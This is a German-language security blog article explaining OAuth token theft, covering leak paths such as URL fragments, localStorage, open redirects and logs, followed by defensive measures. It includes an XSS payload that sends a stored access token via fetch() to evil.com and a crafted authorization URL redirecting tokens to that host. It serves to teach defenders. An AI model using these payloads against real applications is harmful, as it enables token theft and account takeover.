Warum Token-Diebstahl so gefährlich ist
Tokens sind das Herzstück von OAuth. Sie sind kleine digitale Schlüssel, die genau festlegen, welche Daten eine App lesen oder verändern darf. Ein gestohlenes Access Token bedeutet, dass ein Angreifer im Namen des Nutzers handeln kann – oft ohne dass der Nutzer oder der Dienst etwas merkt.
Besonders kritisch:
- Tokens gelten oft mehrere Stunden.
- Refresh Tokens können sogar dauerhaften Zugriff ermöglichen.
- In großen Ökosystemen (Google, Microsoft, Facebook) bedeutet ein Token: Zugriff auf viele Dienste gleichzeitig.
Darum ist Token-Diebstahl ein zentrales Angriffsziel.
Wege zum Token-Diebstahl
1. Tokens in der URL
Im unsicheren Implicit Flow werden Tokens oft im URL-Fragment übergeben:
https://app.example.com/callback#access_token=ya29.A0ARrdaM...
Risiken:
- Browser speichern URLs in der Historie.
- Server-Logs können die komplette URL mitspeichern.
- Referrer-Header können Tokens an Drittseiten weitergeben.
👉 Praxisbeispiel: Ein Werbebanner auf einer Seite bekommt den Referrer und darin das Access Token.
2. Unsichere Speicherung im Browser
Viele Single-Page-Apps speichern Tokens in Local Storage oder Session Storage.
- Vorteil: leicht zugänglich für JavaScript.
- Nachteil: Auch bösartiges JavaScript (z. B. durch XSS) kann die Tokens lesen.
👉 Sicherer ist die Speicherung in HttpOnly-Cookies, die JavaScript nicht auslesen kann.
3. Offene Redirects
Wenn eine Anwendung unsicher mit der redirect_uri-Angabe umgeht, können Angreifer Tokens abfangen.
Beispiel:
https://accounts.example.com/auth?client_id=123&redirect_uri=https://evil.com
Wenn der Autorisierungs-Server diese URL akzeptiert, wird das Access Token direkt an den Angreifer geschickt.
4. Referrer-Leaks
Manchmal schickt der Browser beim Wechsel auf eine neue Seite die vorherige URL als „Referrer“ mit.
Beispiel:
- Du hast ein Access Token in der URL (
#access_token=...). - Du klickst auf einen externen Link.
- Die neue Seite sieht den kompletten Referrer inkl. Token.
5. Unsichere Apps / Mobile Anwendungen
Bei mobilen Apps finden sich oft:
- Client-Secrets im Klartext in der App.
- Tokens im Speicher oder in Log-Dateien.
- Unsichere Custom-URI-Schemes (
myapp://callback) → Angreifer-App kann den Callback abfangen.
👉 Realer Bug-Bounty-Fall: Eine App nutzte myapp://auth als Redirect. Angreifer installierten eine Fake-App mit demselben Scheme und bekamen alle Tokens.
6. Man-in-the-Middle (MITM)
Wenn die Verbindung nicht sauber abgesichert ist (z. B. kein HTTPS), können Tokens im Klartext mitgelesen werden.
👉 Zwar selten bei modernen Diensten, aber immer noch möglich bei internen Apps oder falscher HTTPS-Konfiguration.
7. Leaks über Logs und Debugging
- Entwickler loggen versehentlich komplette HTTP-Requests, inkl. Tokens.
- Fehlerseiten geben Tokens preis.
- Monitoring-Systeme oder Crash-Reports enthalten Tokens.
👉 Besonders kritisch in großen Unternehmen: Tokens tauchen oft in Logfiles auf, die viele Personen lesen können.
Beispiel-Angriff: Token-Diebstahl über Local Storage
- Eine Single-Page-App speichert Access Token in
localStorage. - Die App hat eine XSS-Schwachstelle (z. B. in einem Suchfeld).
- Angreifer injizieren JavaScript:
<script>
fetch("https://evil.com/steal?token=" + localStorage.getItem("access_token"));
</script>
- Das Token landet beim Angreifer.
- Der Angreifer nutzt das Token, um Daten direkt bei der API abzurufen.
Beispiel-Angriff: Open Redirect
- Die App erlaubt beliebige
redirect_uri. - Angreifer erstellt:
https://accounts.example.com/auth?
client_id=123
&redirect_uri=https://evil.com
&response_type=token
&scope=email
- Nutzer loggt sich ein, stimmt zu.
- Access Token landet bei
https://evil.com#access_token=.... - Angreifer übernimmt den Account.
Schutzmaßnahmen gegen Token-Diebstahl
1. Niemals Tokens in der URL
- Keine Nutzung des Implicit Flow.
- Nur Authorization Code Flow mit PKCE.
2. Sichere Speicherung
- Tokens nur in HttpOnly-Cookies.
- Keine Speicherung in Local Storage.
3. Strenge Redirect-URI-Prüfung
- Nur exakt vordefinierte URIs akzeptieren.
- Keine Wildcards oder dynamischen Redirects.
4. Kurzlebige Access Tokens
- Access Tokens sollten nur Minuten oder maximal eine Stunde gültig sein.
- Refresh Tokens getrennt und sicher handhaben.
5. Token-Revocation & Monitoring
- Nutzer sollten Tokens jederzeit widerrufen können.
- Verdächtige Aktivitäten (z. B. ungewöhnliche IPs) erkennen und Tokens ungültig machen.
6. Kein Logging von Tokens
- Tokens niemals in Logs oder Crash-Reports speichern.
- Automatische Maskierung in Logging-Systemen.
Schreibe einen Kommentar